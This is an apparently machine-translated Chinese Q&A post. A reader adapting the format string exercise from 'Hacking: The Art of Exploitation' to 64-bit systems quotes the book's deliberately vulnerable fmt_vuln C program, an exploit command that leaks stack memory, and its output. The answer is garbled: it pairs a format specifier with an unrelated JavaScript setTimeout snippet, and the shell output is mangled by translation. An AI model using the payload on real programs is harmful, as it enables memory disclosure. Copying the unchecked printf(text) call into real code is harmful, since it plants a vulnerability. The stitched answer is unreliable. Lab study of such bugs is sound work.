我正在阅读"黑客攻击艺术"它谈论格式字符串漏洞。本书的练习试图通过将地址写入堆栈并使用格式参数读取来从内存的任意部分读取数据。问题是练习是针对32位系统编写的,而我的工作是64位。我尝试使其适用于64位系统的尝试如下:
./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
我从shell获得的响应是:
打印用户控制输入的正确方法:
?????%016x。%016x。%016x。%016x。%016x。%016x。%016x。%016x
错误的方式 打印用户控制的输入:
0000000055755010.00000000f7dd18c0.00000000f7af4154.000000000000000.000000000000035.0 ffffe088.00000000555543c0。 00000000ffffeeaa
[*] test val @ 0x55755010 = -72 0xffffffb8
如您所见,我只能读取低4字节(0xFFFFEEAA),高2字节消失(0x7FFF)。有关如何解决这个问题的想法吗?
顺便说一下,这是本书中fmt_vuln的代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
答案 0 :(得分:1)
尝试使用%016x
(long long x)而不是 setTimeout(() => {
this.userPic();
}, 500);
进行阅读,因为您正在读取64位十六进制而不是32位。